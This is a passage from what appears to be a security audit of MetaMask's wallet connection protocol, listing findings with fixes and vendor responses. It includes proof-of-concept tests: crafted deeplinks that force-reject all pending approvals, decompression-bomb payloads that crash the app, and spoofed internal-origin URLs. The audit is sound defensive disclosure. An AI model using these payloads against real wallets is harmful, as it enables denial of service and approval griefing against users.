  const stored = JSON.parse(raw!);
  const nonceAlreadyPoisoned = stored["peer-123"] === Number.MAX_SAFE_INTEGER;

  console.log(
    "Test 3 - Nonce persisted before decryption:",
    decryptionFailed && nonceAlreadyPoisoned
      ? "VULNERABLE  (Nonce written to storage before payload validation)"
      : "FIXED "
  );
}


// ============================================================================
```

```
// Runner
// ============================================================================

async function main() {
  console.log("=== Nonce Poisoning DoS Test Suite ===\n");

  await test_nonce_poisoning_drops_legitimate_messages();
  await test_nonce_poisoning_persists_across_restarts();
  await test_nonce_poisoned_before_decryption();

  console.log("\n=== Tests Complete ===");
}

main().catch(console.error);
```

Recommended Mitigation:

1. **Defer nonce persistence until after successful decryption.** Move the `setLatestNonces` call out of `_handleIncomingMessage` and into the application layer (e.g., `base-client.ts`) after the payload has been successfully decrypted and validated. Only update the nonce for messages that pass E2E verification.
2. **Add a maximum nonce jump threshold.** Reject any message where `message.nonce - latestNonce > MAX_NONCE_JUMP` (e.g., 100). Legitimate sequential messages will never jump by thousands.
3. **Consider HMAC authentication on the transport envelope.** Derive a symmetric key from the session's ECDH shared secret and include a MAC over `{clientId, nonce}` in the transport envelope. Only messages with a valid MAC can update the nonce counter.

Metamask: Fixed in commit fd3a66.

Cyfrin: Verified.

7.3.2 Weak structural validation of connectionRequest from deeplink

Description: The `ConnectionRequest` parsed from deeplinks undergoes minimal structural validation. Required fields are checked for presence and type but not for format, length, or semantic correctness.

When a deeplink is received, its parameters are parsed into a `ConnectionRequest`. The validation checks:

- `mode`: verified as `typeof string` only, not validated against `["trusted", "untrusted"]`
- `id`: verified as `typeof string`, and not validated againt `UUID` format validation
- `publicKeyB64`: checked for presence but no format/length validation
- `channel` with `typeof string` and no `handshake:{uuid}` format check
- `expiresAt`: checked as `typeof number` but no `isNaN` or future-time check
- `dapp.name`, `dapp.url` , `url`: validated as URL format but no length cap on either field

For example: An invalid mode value (e.g., "invalid") passes validation and at `dapp-client` and `wallet-client` the ternary `mode === "trusted" ? TrustedConnectionHandler : UntrustedConnectionHandler` defaults to `UntrustedConnectionHandler` which is the more secure path (a safe failure mode). This allows malformed or adversarial values to enter the system which in-future may cause unexpected behavior in downstream processing.

Impact:

- Malformed but structurally valid connection requests proceed into the connection flow. An arbitrarily long `dapp.name` (megabytes) could cause UI rendering issues when displayed in the connection approval dialog.
- `NaN` `expiresAt` values propagate through without detection.
- Increases attack surface by accepting inputs that should be rejected early

Recommended Mitigation:

- Validate `mode` against allowed enum values (`"trusted"`, `"untrusted"`)
- Validate `publicKeyB64` format (base64 string decoding to correct byte length for `secp256k1`)
- Add `isNaN` guard on `expiresAt` and verify it's a future timestamp

```
if (!['trusted', 'untrusted'].includes(sessionReq.mode)) return false;
if (isNaN(sessionReq.expiresAt) || sessionReq.expiresAt < Date.now()) return false;
if (sessionReq.publicKeyB64.length > 200) return false;
if (metadata.dapp.name.length > 256) return false;
```

- Enforce maximum length bounds on all string fields

MetaMask: Fixed in commit ca6689.

Cyfrin: Verified.

7.3.3 OTP generated using math.random is not cryptographically secure way to generate verification code

Description: The `untrusted` connection flow is the protocol's high-security path. It is designed for cross-device scenarios (e.g., scanning a QR code from an untrusted computer) where a man-in-the-middle could subscribe to the handshake channel and race the legitimate dApp. In this flow, the One-Time Password is the sole mechanism that authenticates the two parties to each other, the user visually compares the OTP displayed on the wallet screen to the one presented by the dApp.

```
// packages/wallet-client/src/handlers/untrusted-connection-handler.ts:49-53
private _generateOtpWithDeadline(): { otp: string; deadline: number } {
    const otp = Math.floor(100000 + Math.random() * 900000).toString();
    const deadline = Date.now() + this.otpTimeoutMs;
    return { otp, deadline };
}
```

The same non-cryptographic pattern is also used in the legacy V1 OTP generator on the `metamask-mobile` side:

```
// metamask-mobile/app/core/SDKConnect/utils/generateOTP.util.ts:1-2
const generateRandomIntegerInRange = (min: number, max: number): number =>
  Math.floor(Math.random() * (max - min + 1)) + min;
```

`Math.random()` is explicitly defined by the `ECMAScript` specification as not providing cryptographically secure random numbers. Every modern JavaScript engine implements it with `xorshift128+`, a fast but fully deterministic PRNG. Its full 128-bit internal state can be reconstructed from a handful of observed outputs using known algebraic techniques (e.g., Z3 constraint solving).

In React native's `JavaScriptCore` and `Hermes` engines, the `PRNG` state is shared across the entire JS execution context, meaning any call to Math.random() anywhere in the application animation timing, layout jitter, analytics sampling advances the same state and provides useful observations to an attacker who can instrument or observe the execution.

Impact: Because the OTP is the only authentication factor in the untrusted handshake, predictability here could the entire security model of the cross-device flow. The OTP search space is already limited to `900,000` possible values (six-digit codes from `100000` to `999999`), and the dApp allows 3 guesses (`this.otpAttempts = 3`), giving a blind brute-force a `1-in-300,000` chance per connection.

With PRNG state recovery (feasible from approximately 3–4 prior `Math.random()` observations from the same context), an attacker can predict the exact OTP with certainty, enabling a complete man-in-the-middle of the key exchange.

On the dApp side, the OTP verification itself also uses a direct string comparison rather than a timing-safe comparison:

```
// packages/dapp-client/src/handlers/untrusted-connection-handler.ts:93
if (otp !== offer.otp) {
```

While this comparison between short strings and practical timing extraction is `difficult over a WebSocket`, it compounds the weak generation with a weak verification pattern.

Recommended Mitigation: Replace `Math.random()` with the Web Crypto API's `crypto.getRandomValues()`, which is backed by the operating system's `CSPRNG` and is available in all target environments (browser, React Native, Node.js):

```
private _generateOtpWithDeadline(): { otp: string; deadline: number } {
    const buf = new Uint32Array(1);
    crypto.getRandomValues(buf);
    const otp = (100000 + (buf[0] % 900000)).toString();
    const deadline = Date.now() + this.otpTimeoutMs;
    return { otp, deadline };
}
```

Additionally, consider using a timing-safe comparison for OTP verification on the dApp side, and consider rate-limiting OTP attempts at the protocol level rather than relying solely on a client-side counter.

MetaMask: Fixed in commits 46f81 , 7bbacf.

Cyfrin: Verified

7.3.4 Unvalidated `initialMessage` enables cross-dApp approval griefing

Description: The SessionRequest type includes an optional `initialMessage` field which is an intentional protocol feature designed to solve the "dApp suspension" problem on mobile. Since iOS/Android may suspend the dApp process immediately after launching the deeplink, the dApp embeds its first RPC call directly in the plaintext connection request so the wallet can begin processing it without waiting for a round-trip response:

```
initialMessage?: Message;  // Message = { type: "message"; payload: unknown }
```

After completing the trusted handshake the wallet dispatches `initialMessage` directly into the normal message pipeline, bypassing E2E encryption entirely:

```
public async execute(session: Session, request: SessionRequest): Promise<void> {
    await this._finalizeConnection(request.channel); //@audit-info session marked CONNECTED
    this._processInitialMessage(request.initialMessage);
}
...
//@audit-info handling initial message downstream with handleMessage
private _processInitialMessage(message?: Message): void {
    if (!message) return;
    setTimeout(() => this.context.handleMessage(message), 0);
}
```

`WalletClient.handleMessage` then emits any `{ type: "message" }` onto the "message" event. So when a new SDK connection deeplink triggers a `wallet_createSession` request and there are existing pending approval requests in the MetaMask wallet's `ApprovalController`, the Connection class automatically rejects ALL pending approvals without user consent. This is design choice as stated in comments and done as a "cleanup" measure to avoid stale approvals :

```
this.client.on('message', async (payload) => {
    const isWalletCreateSessionRequest =
        payload && typeof payload === 'object' &&
        'name' in payload &&
        payload.name === 'metamask-multichain-provider' &&
        'data' in payload &&
        payload.data && typeof payload.data === 'object' &&
```

```
        'method' in payload.data &&
        payload.data.method === 'wallet_createSession';

    if (
        isWalletCreateSessionRequest &&
        Engine.context.ApprovalController.getTotalApprovalCount() > 0
    ) {
        // Force-navigates away from current screen
        NavigationService.navigation?.goBack();
        // Rejects ALL pending approvals as "userRejectedRequest"
        await Engine.context.ApprovalController.clear(
            providerErrors.userRejectedRequest({
                data: { cause: 'rejectAllApprovals' },
            }),
        );
    }
    this.bridge.send(payload);
});
```

However, it creates a griefing vector against legitimate in-progress transactions. An attacker can craft a valid MWP connection deeplink and deliver it to the victim (via link, message, or QR code). When the victim opens it, their MetaMask wallet will automatically reject any transaction signing request, permission approval, or other pending confirmation they may be in the process of reviewing, including approvals for completely unrelated dApps.

Impact:

1. Transaction griefing: If a user is reviewing a high-value DeFi transaction approval, an attacker can force-reject it by sending the victim a deeplink. The user's pending transaction is rejected as `userRejectedRequest`, and the dApp receives an error response indistinguishable from a deliberate user rejection.
2. Time-sensitive attack: For time-limited operations (e.g., token swaps with slippage deadlines, auction bids, liquidation protections), the forced rejection could cause financial loss.
3. No user awareness: The rejection happens programmatically. The user sees the approval screen disappear and is navigated away. There is no confirmation dialog or indication that the rejection was triggered by an external deeplink rather than their own action.
4. Cross-dApp impact: The `ApprovalController.clear()` call rejects ALL pending approvals from ALL dApps, not just the one associated with the incoming connection.

Proof of Concept:

```
// M-01 PoC: isConnectionRequest() (connection-request.ts:43-55) does not validate
 // initialMessage, so an attacker embeds wallet_createSession in a deeplink.
 // ApprovalController.clear() (connection.ts:66-72) then rejects ALL pending approvals
 // system-wide. TrustedConnectionHandler completes the handshake unilaterally -
 // victim only needs to open the URL.
 describe('Security PoC: initialMessage griefing via crafted deeplink', () => {
   const craftedInitialMessagePayload = {
     name: 'metamask-multichain-provider',
     data: { method: 'wallet_createSession', id: 'attacker-req-1', jsonrpc: '2.0' },
   };

   it('[POC-1] crafted initialMessage triggers ApprovalController.clear(), rejecting ALL pending
   ↪  approvals across ALL dApps', async () => {
     await Connection.create(mockConnectionInfo, mockKeyManager, RELAY_URL, mockHostApp);
     (Engine.context.ApprovalController.getTotalApprovalCount as jest.Mock).mockReturnValue(3);

     // Simulates trusted-connection-handler.ts:78 → WalletClient.emit("message") path
     await onClientMessageCallback(craftedInitialMessagePayload);

     expect(NavigationService.navigation?.goBack).toHaveBeenCalledTimes(1);
     expect(Engine.context.ApprovalController.clear).toHaveBeenCalledTimes(1);
```

```
    expect(Engine.context.ApprovalController.clear).toHaveBeenCalledWith(
      providerErrors.userRejectedRequest({ data: { cause: 'rejectAllApprovals' } }),
    );
    expect(mockBridgeInstance.send).toHaveBeenCalledWith(craftedInitialMessagePayload);
  });

  it('[POC-2] isConnectionRequest() accepts a deeplink with malicious initialMessage  not blocked at
  ↪  the parser', () => {
    // isConnectionRequest() never inspects initialMessage (connection-request.ts:43-55)
    const { isConnectionRequest } = jest.requireActual<
      typeof import('../types/connection-request')
    >('../types/connection-request');

    const maliciousConnectionRequest = {
      sessionRequest: {
        id: 'attacker-session-id',
        publicKeyB64: 'AoBDLWxRbJNe8yUv5bmmoVnNo8DCilzbFz/nWD+RKC2V',
        channel: 'handshake:aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee',
        mode: 'trusted',
        expiresAt: Date.now() + 60_000,
        initialMessage: { type: 'message', payload: craftedInitialMessagePayload },
      },
      metadata: {
        dapp: { name: 'Legitimate App', url: 'https://legitimate-app.com' },
        sdk: { version: '1.0.0', platform: 'web' },
      },
    };

    expect(isConnectionRequest(maliciousConnectionRequest)).toBe(true);
    expect(
      (maliciousConnectionRequest.sessionRequest as any).initialMessage.payload.data.method,
    ).toBe('wallet_createSession');
  });

  it('[POC-3] non-wallet_createSession initialMessage does NOT trigger ApprovalController.clear()
  ↪  attack requires exactly this method', async () => {
    await Connection.create(mockConnectionInfo, mockKeyManager, RELAY_URL, mockHostApp);
    (Engine.context.ApprovalController.getTotalApprovalCount as jest.Mock).mockReturnValue(3);

    const benignPayload = {
      name: 'metamask-multichain-provider',
      data: { method: 'eth_sendTransaction', id: 'req-2', jsonrpc: '2.0' },
    };

    await onClientMessageCallback(benignPayload);

    expect(Engine.context.ApprovalController.clear).not.toHaveBeenCalled();
    expect(NavigationService.navigation?.goBack).not.toHaveBeenCalled();
    expect(mockBridgeInstance.send).toHaveBeenCalledWith(benignPayload);
  });
});
```

Recommended Mitigation:

1. Never auto-reject pending approvals. Instead of that, queue the new `wallet_createSession` request and present it to the user after they have resolved (approved or rejected) their current pending approval.
2. Scope approval rejection to the specific connection. If cleanup is necessary, only reject approvals originating from the same dApp `origin`, not from ALL dApps via the global `ApprovalController.clear()`.
3. Require user confirmation before clearing approvals. If the design requires replacing the current approval, show a confirmation dialog: "A new connection request was received. Dismiss current pending approval?"

Metamask: Acknowledged; we accept this tradeoff for the UX reliability it provides. We may revisit scoping the approval clearance to same-origin connections in a future iteration if the underlying approval rendering issues are resolved upstream.

7.3.5 Internal origin allowlist bypass via unnormalized URL matching in ConnectionRegistry

Description: The `ConnectionRegistry.handleConnectDeeplink()` method validates incoming connection requests against a static list of internal origins using `Array.includes()` which performs exact string comparison. The values being compared (`connReq.metadata.dapp.url` and `connReq.metadata.dapp.name`) are self-reported by the connecting dApp through the deeplink payload and are never verified against any external source.

```
if (
  INTERNAL_ORIGINS.includes(connReq.metadata.dapp.url) ||
  INTERNAL_ORIGINS.includes(connReq.metadata.dapp.name)
) {
  throw rpcErrors.invalidParams({
    message: 'External transactions cannot use internal origins',
  });
}
```

The `connReq.metadata` comes directly from a deeplink payload:

```
const connReq: unknown = JSON.parse(jsonString);
```

This metadata is attacker controlled. There is no normalization, canonicalization, or sanitization before the `includes()` comparison. An attacker controlled dApp can bypass this check by submitting a `URL` that is semantically equivalent to an internal origin but differs at the string level.

Examples:

```
https://metamask.io/ vs https://metamask.io     (trailing slash)
https://MetaMask.io vs https://metamask.io      (casing)
https://metamask.io/./                          (dot segment)
https://metamsk.io                             (cyrillic '' U+0430 vs latin 'a' U+0061)
```

Impact: A malicious dApp can set its metadata to closely resemble a trusted MetaMask internal `origin` bypassing the blocklist and displaying a spoofed origin string in the wallet approval UI. This is a UI deception issue. It does not bypass transaction approval since the wallet still requires explicit user confirmation for every action and the user sees actual transaction details (recipient, amount, contract data) in the approval screen.

Recommended Mitigation: Normalize URLs before comparison. At minimum, lowercase both sides, strip trailing slashes, and resolve relative path segments. Consider using prefix or pattern matching rather than exact string equality. As a broader point, treat all dApp-reported metadata as untrusted input and avoid using it as the sole basis for any security decision.

```
private isInternalOrigin(origin: string): boolean {
  try {
    const normalized = new URL(origin).origin.toLowerCase();
    return INTERNAL_ORIGINS.some(
      (internal) => new URL(internal).origin.toLowerCase() === normalized,
    );
  } catch {
    return false;
  }
}
```

Then replace the current check:

```
if (
  this.isInternalOrigin(connReq.metadata.dapp.url) ||
  INTERNAL_ORIGINS.some(
    (o) => o.toLowerCase() === connReq.metadata.dapp.name.toLowerCase(),
```

```
  )
) {
  throw rpcErrors.invalidParams({
    message: 'External transactions cannot use internal origins',
  });
}
```

MetaMask: Fixed in commits ca66895, b60153.

Cyfrin: Verified.

7.4 Informational

7.4.1 Decompression Bomb due to lack of post decompression size check

Description: The deeplink connection flow enforces a 1 MB size limit on the **compressed, base64-encoded** payload and not the decompressed output. A crafted ~26 KB deeplink trivially passes the guard and forces `pako.inflate()` to allocate an unbounded amount of heap memory. The wallet processes the bomb silently, establishing a full connection and persisting it to storage, with no error surfaced to the user.

An attacker can crash MetaMask Mobile or degrade device memory by sending a single deeplink. No authentication, no user account, and no existing session are required. The entire attack surface is reachable with a tap on a malicious `metamask://` URL.

```
// connection-registry.ts
if (payload.length > 1024 * 1024) {   // checked on compressed + base64 input
    throw new Error('Payload too large (max 1MB).');
}
const jsonString =
    compressionFlag === '1' ? decompressPayloadB64(payload) : payload;
```

Inside `decompressPayloadB64`, `pako.inflate()` is called with **no output size limit**:

```
// compression-utils.ts
const decompressed = inflate(compressed);  // no max_size / chunkSize limit
return new TextDecoder().decode(decompressed);
```

`payload` is the raw URL query parameter which is the base64 encoding of the compressed data. A 1 MB compressed stream encodes to ~1.33 MB base64, so the effective compressed size budget is ~750 KB. The decompressed output is **never validated**.

A single maximum-budget deeplink can force upto **~578 MB** of heap allocation in one call. Check PoC which we

Impact: A crafted compressed payload of ~750 KB (which passes the 1 MB base64 check) can expand to **500 MB+** of JSON data depending on content repetition. `JSON.parse()` on the resulting oversized string exhausts mobile process memory and crashes the MetaMask app. It is exploitable by anyone who can deliver a deeplink to the target device however its likelihood is quite low as only prior old devices would be practically impacted.

Proof of Concept:

```
describe('Decompression Bomb', () => {
   // ES2017 lib only - no Buffer, no DOM btoa. Encode Uint8Array → base64
   // by iterating bytes and casting through charCodeAt.
   const u8ToB64 = (b: Uint8Array): string => {
     let s = '';
     for (let i = 0; i < b.length; i++) s += String.fromCharCode(b[i]);
     // eslint-disable-next-line @typescript-eslint/no-explicit-any
     return (global as any).btoa(s);
   };


   const buildBombB64 = () =>
     u8ToB64(
       deflate(
         JSON.stringify({
           ...mockConnectionRequest,
           _padding: 'A'.repeat(20_000_000),
         }),
       ),
     );


   // Building + deflating 400 MB takes ~8 s; Jest timeout extended to 30 s.
   const buildMaxExpansionBombB64 = () =>
```

```
    u8ToB64(
      deflate(
        JSON.stringify({
          ...mockConnectionRequest,
          _bomb: 'A'.repeat(400_000_000), // ~400 MB
        }),
      ),
    );


  it('should traverse the full connection flow without error when given a compressed bomb deeplink',
  ↪  async () => {
    // Given: a registry ready to handle connections
    registry = new ConnectionRegistry(
      RELAY_URL,
      mockKeyManager,
      mockHostApp,
      mockStore,
    );

    const b64 = buildBombB64();
    const deeplink = `metamask://connect/mwp?p=${encodeURIComponent(b64)}&c=1`;

    // The size guard passes - payload is ~33 KB, well under the 1 MB limit
      expect(b64.length).toBeLessThan(1024 * 1024);

    // When: the bomb deeplink is processed
    await registry.handleConnectDeeplink(deeplink);

    // Then: the full happy path completes - guard bypassed, ~20 MB allocated,
    //   connection created, saved to store, no error surfaced to the user
    expect(mockHostApp.showConnectionError).not.toHaveBeenCalled();
    expect(mockHostApp.showConnectionLoading).toHaveBeenCalledTimes(1);
    expect(Connection.create).toHaveBeenCalledTimes(1);
    expect(mockConnection.connect).toHaveBeenCalledTimes(1);
    expect(mockStore.save).toHaveBeenCalledTimes(1);
    expect(mockHostApp.hideConnectionLoading).toHaveBeenCalledTimes(1);
  });

  it('should process N distinct bomb deeplinks independently  no rate limit or concurrency cap
  ↪  exists', async () => {

    registry = new ConnectionRegistry(
      RELAY_URL,
      mockKeyManager,
      mockHostApp,
      mockStore,
    );

    const BOMB_COUNT = 3;
    const bombs = Array.from({ length: BOMB_COUNT }, (_, i) => {
      const b64 = u8ToB64(
        deflate(
          JSON.stringify({
            ...mockConnectionRequest,
            sessionRequest: {
              ...mockConnectionRequest.sessionRequest,
              id: `bomb-session-${i}`,
            },
            _padding: 'A'.repeat(20_000_000),
          }),
        ),
      );
```

```
      return `metamask://connect/mwp?p=${encodeURIComponent(b64)}&c=1`;
    });

    // Each deeplink has a unique URL, deduplication guard does not apply
    expect(new Set(bombs).size).toBe(BOMB_COUNT);


    (Connection.create as jest.Mock).mockResolvedValue({
      ...mockConnection,
      id: expect.any(String),
    });

    await Promise.all(bombs.map((dl) => registry.handleConnectDeeplink(dl)));

    // Then: all N inflate() calls complete - no rate limiting, no abort
    expect(mockHostApp.showConnectionError).not.toHaveBeenCalled();
    expect(Connection.create).toHaveBeenCalledTimes(BOMB_COUNT);
  });

  // Building + deflating 400 MB takes ~8 s - per-test timeout extended to 30 s.
  it('should accept a ~526 KB compressed payload and inflate it to 400 MB  guard checks
  ↪  pre-decompression size only', async () => {
    // Given: a registry ready to handle connections
    registry = new ConnectionRegistry(
      RELAY_URL,
      mockKeyManager,
      mockHostApp,
      mockStore,
    );

    // 400 MB of 'A' → deflate → ~394 KB compressed → ~526 KB base64
    const b64 = buildMaxExpansionBombB64();

    // The guard at connection-registry.ts:236 sees only the compressed+base64 length
    expect(b64.length).toBeGreaterThan(400_000);   // ~526 KB compressed+base64
    expect(b64.length).toBeLessThan(1024 * 1024);  // passes the 1 MB guard

    const out = compressionUtils.decompressPayloadB64(b64);
    expect(out.length).toBeGreaterThan(350_000_000);      // >350 MB actual data
    expect(out.length / b64.length).toBeGreaterThan(600); // >600× expansion ratio

    // When: the bomb is delivered as a deeplink
    const deeplink = `metamask://connect/mwp?p=${encodeURIComponent(b64)}&c=1`;
    await registry.handleConnectDeeplink(deeplink);

    expect(mockHostApp.showConnectionError).not.toHaveBeenCalled();
    expect(mockHostApp.showConnectionLoading).toHaveBeenCalledTimes(1);
    expect(Connection.create).toHaveBeenCalledTimes(1);
    expect(mockConnection.connect).toHaveBeenCalledTimes(1);
    expect(mockStore.save).toHaveBeenCalledTimes(1);
    expect(mockHostApp.hideConnectionLoading).toHaveBeenCalledTimes(1);
  }, 30_000); // 30 s - building + deflating 400 MB takes ~8 s
});
```

```
Output:
    Decompression Bomb
       should expand a ~33 KB compressed payload to 20 MB  the guard checks compressed size only,
       ↪  leaving decompressed output unbounded (580 ms)
       should traverse the full connection flow without error when given a compressed bomb deeplink (548
       ↪  ms)
       should process N distinct bomb deeplinks independently  no rate limit or concurrency cap exists
       ↪  (1197 ms)
```

```
      should accept a ~526 KB compressed payload and inflate it to 400 MB  guard checks
    ↪  pre-decompression size only (11599 ms)
```

Recommended Mitigation: Check post-decompression size in `decompressPayloadB64`

Metamask: Fixed in commit 867acb.

Cyfrin: Verified.

7.4.2 Missing mode field validation in walletclient allows handler selection via untrusted input

Description: The `WalletClient.connect()` method in `wallet-client/src/client.ts` uses the dApp-provided `sessionRequest.mode` field to select between `TrustedConnectionHandler` (no OTP) and `UntrustedConnectionHandler` (OTP required) without any input validation:

```
const handler: IConnectionHandler = request.mode === "trusted"
  ? new TrustedConnectionHandler(context)
  : new UntrustedConnectionHandler(context);
```

The `mode` field originates entirely from the dApp side (`dapp-client/src/client.ts`) and is embedded directly into the `SessionRequest` transmitted via QR code or deeplink. No runtime enum check, type guard, or wallet-side policy enforcement exists before handler selection.

Impact: In MetaMask's actual deployments, this has **no practical impact** as:

- **connect-monorepo** (`connect-multichain/src/multichain/transports/mwp/index.ts`) hard-codes `mode: 'trusted'` so the dApp can never controls this value.
- **MetaMask Mobile** (`SDKConnect/handlers/handleConnectionReady.ts`) ignores the `mode` field entirely and enforces its own OTP policy based on `connection.origin` and `lastAuthorized`.

However, any **third-party wallet** integrating the raw `WalletClient` library without implementing independent security policy would allow a malicious dApp to set `mode: 'trusted'` and skip OTP verification entirely. This is a defense-in-depth gap in the library's public API.

Recommended Mitigation: Add runtime validation of the `mode` field before handler selection in `WalletClient.connect()`:

```
if (!["trusted", "untrusted"].includes(request.mode)) {
  throw new SessionError(ErrorCode.INVALID_PARAM, `Invalid connection mode: ${request.mode}`);
}
```

Ideally, the wallet should not rely on the dApp-provided `mode` at all. Consider allowing wallet integrators to override or enforce mode via a configuration option (e.g., `WalletClient({ forceUntrusted: true })`), so the security decision stays on the wallet side.

MetaMask: Fixed in commit 4c8bf8.

Cyfrin: Verified.

7.4.3 Session expiry not enforced on inbound message path

Description: The `BaseClient` checks session expiry only on the outbound send path via `checkSessionExpiry()` not on the inbound receive path:

```
// packages/core/src/base-client.ts:46-50
this.transport.on("message", async (payload) => {
    if (!this.session?.keyPair.privateKey) return;   // Null check only, no expiry check
    const message = await this.decryptMessage(payload.data);
    if (message) this.handleMessage(message);
});
```

Whereas every outgoing message enforces expiry:

```
// packages/core/src/base-client.ts:140-142
protected async sendMessage(channel: string, message: ProtocolMessage): Promise<void> {
    if (!this.session) throw new SessionError(...);
    await this.checkSessionExpiry();   // Enforced here
    ...
}
```

This creates a brief asymmetric window after a session's `expiresAt` timestamp passes: inbound messages are still decrypted and emitted to the application layer while outbound messages are correctly blocked.

Impact: The practical exploitability of this gap is minimal for several reasons:

1. **The response path blocks exploitation.** On the wallet side, the full message lifecycle is: receive → decrypt → `handleMessage()` → emit `"message"` → `RPCBridgeAdapter` → `BackgroundBridge` processes request → generates response → `client.sendResponse()` → `sendMessage()` → `checkSessionExpiry()` → `SESSION_EXPIRED` **thrown**. The response can never be delivered back to the dApp. Any request processed on an expired session produces a result that is discarded at the send boundary.
2. **Both peers share the same `expiresAt`.** The dApp client has the same TTL and the same `checkSessionExpiry()` guard on its `sendMessage()`. For the dApp to send a request to an expired wallet session, its own session must also be expired meaning its own `sendMessage()` would throw first. The only way around this is clock skew between devices.
3. **The transport won't survive the TTL.** With a 30-day `DEFAULT_SESSION_TTL`, a mobile app backgrounded for that duration will have long since lost its WebSocket connection. Resuming via `client.resume()` calls `sessionstore.get()`, which checks expiry and returns `null` for expired sessions preventing reconnection.
4. **Sensitive operations are approval-gated.** All state-changing wallet operations (transactions, signing, `wallet_createSession`) require user interaction through `ApprovalController` before execution. The user prompt itself acts as an additional gate before any side effects occur.

Recommended Mitigation: Add an expiry check to the inbound message handler for defense-in-depth:

```
// packages/core/src/base-client.ts - constructor
this.transport.on("message", async (payload) => {
    if (!this.session?.keyPair.privateKey) return;
    if (this.session.expiresAt < Date.now()) {
        await this.disconnect();
        return;
    }
    const message = await this.decryptMessage(payload.data);
    if (message) this.handleMessage(message);
});
```

MetaMask: Fixed in this PR.

Cyfrin: Verified.